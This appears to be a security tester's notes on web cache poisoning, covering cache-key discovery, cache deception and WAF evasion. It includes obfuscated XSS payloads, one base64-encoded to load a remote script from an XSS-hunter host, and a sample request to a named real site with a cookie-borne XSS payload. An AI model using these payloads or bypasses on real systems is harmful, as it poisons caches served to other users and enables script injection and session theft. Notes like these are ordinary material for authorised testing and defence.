**Constructing a web cache poisoning attack**

**\*\* the other notes are better especially the first couple pages, they provide a great methodology with deep insihgts into observing cache behavior and important questions we must be asking ourselves during testing.**

**\*\* ALWAYS TRY TO SEE THE CACHE KEY BY ADDING Pragma: akamai-x-get-cache-key**

**\*\*USE CACHE DECEPTION TECHNIQUES TO GET DYNAMIC PAGES CACHED – if that page has a gadget, reflected param, cookie, header, open redirect, DOM based vuln … we can exploit for poisoning.**

**\*\*\*use a cachebuster!! We may miss vulnerabilities/reflections if were getting a cached page. Very important to try to analyze how the cache works/what the cache key is in early testing stages. The cache key will often be headers it is common for all query params to be excluded\*\*\***

Generally speaking, constructing a basic web cache poisoning attack involves the following steps:

1. Find and evaluate hidden inputs -> param miner default word lists **-> cookies, headers, query param, and request body** are the main targets, but we should run the full scan on a couple of endpoints per TLD.  **\*\*\*we should be looking for dynamic content in static pages (js, css, images …)\*\*\*** 
   1. Sometimes we will see that full xss payloads in headers will be blocked. We can try to add the same header multiple times, each with a “piece” of the script. When sent this could result in the full xss payload not being blocked by waf or sanitized/encoded.
   2. Look for reflect ip address usually found in cookies. More generally **LOOK FOR REFLECTED COOKIES THIS IS SUPER COMMON** 
      1. Cookeis will often be protected by the waf. Try heavily obfuscated payloads.
   3. SO IMPORTANT TO TEST PAGES FROM ALL DIRECTORIES ON THE WEB APP. Different directories can have different caching rules potentially even all pages begin cached.
   4. BE AWARE OF REFLECTIONS IN JS. Once again like a normal xss we should be reading through the JS trying to find the exact code that reflects our input. If we are we have 2 options, escape the string were put in and inject some other js or close the script tag and inject a generic payload. **USE XSS NOTES AS NORMAL**
2. Double-check check the parameter is reflected in the response body. Is it sanitized, can we bypass it, is there a WAF? Can we use multiple headers/query params/cookies/ a mix of these to bypass the sanitization/WAF? Be thorough and test all possibilities. Maybe certain parts of cookies / headers are reflected? MANUAL TESTING IS NEEDED LOOK FOR UNOBVIOUS THINGS LIKE THIS!
3. Test the cache. Figure out how it works, try to look at the key/ do testing and observe the time the request takes to determine caching also look at cache oracles. **USE DECEPTION METHODS TO GET DYNAMIC PAGES CACHED!!**
   1. Identify directory-based cache rules. Do certain directories get cached by default? Can these directories be exploited? Is there dynamic content in these “static” endpoints? Can we leverage these automatically cached directories for path traversal-based cache deception???
   2. Are there delimiters and/or file extensions that will help us get pages cached?

Xss payloads for cache poisoning (**again remember try to use multiple of the same header or just split the payload between 2 or more different headers to avoid WAF**):

* xss"</sc"ript><sv"g/onloa"d=aler"t"(document.doma"in)>
* ?</script><svg/onload=eval/\*\*/(atob/\*\*/(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vNTkzLnhzcy5odCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs=> //this is (partially) an xss hunter payload!!

\* example of using both query params and headers/cookies to achieve xss that bypasses WAF:

**GET /Job/new-york-ny-compliance-officer-jobs-SRCH\_IL.0,11\_IC1132348\_KO12,42069.htm?attack=VULN%3C/script%20 HTTP/2**

**Host: www.glassdoor.com**

**Cookie: optimizelyEndUserId=BRUH><svg/onload=a=self['aler'%2B't']%3Ba(document.domain)>**

-----------------------------------------------------------------------------------------------------------------------------

Try to look for signs of a cache by way of headers or technologies (even if these signs are not present there is very likely a cache in place).

Then run param miner on requests to find unkeyed and potentially reflected inputs.

Finally, we have to work to get this harmful response cached which is half of the battle by itself. This will usually require playing around with the payload for a while. Getting the response cached depends on many factors like file extension, content type, route, status code and response headers. The best thing is to spend time learning how the cache behaves. Look for headers that indicate the response was cached or study the time it takes for a response to render. Short load times indicate the response was cached. Look for headers like Age, or Cache-Control or any other header that includes the word cache. Even headers like Via could have a value of some technology that indicates the use of a cache. If you see random technologies being mentioned in the response headers look them up!

**Exploits:**

XSS through cache poisoning:

To pull this off we must find headers that are reflected into the response body. This can of course come in the form of many different headers. Often we will see it in things like x-forwarded-host or host or location even as these are commonly used to generate dynamic paths or URLs to then be added to the body.

Often we can see cookies being reflected in the responses as well. This could also be an attack surface.

----------------------

Malicious Redirects:

This normally happens on requests to static files that rely on dynamic URLs or paths from designated headers. Changing these headers could lead to users being redirected to our own website enabling us to run JS on them. This is often seen with things like the Host header or X-Forwarded-Host etc. Sometimes these headers will only take a path. However, sometimes other headers can be used to add https to the path. This could be something like X-Forwarded-Scheme for example. The redirect must use https to redirect to our own server, if not then its simply a local path.

-------------------------

Cache Poisoning to Exploit DOM-based Vulnerabilities:

Many sites use JS to fetch and process data from the back-end if we can pass in some input to this JS and get it cached, it will be displayed to other users. For example if the websites fetchs some JSON file and uses that data in some javascript elsewhere. If we can host our own malicious JSON or simply change the JSON in some way, this could get cached and be used as input to the JS running on other users. This could just be JS injection or it could require hosting our own JSON data and poisoning another resource thus making it fetch our malicious JSON. \*\*\* we will likely need to add access-control-allow-origin: \* to our hosts site somehow. This will allow the target site to retrieve our data. Just consider CORS if we are running into issues here \*\*\*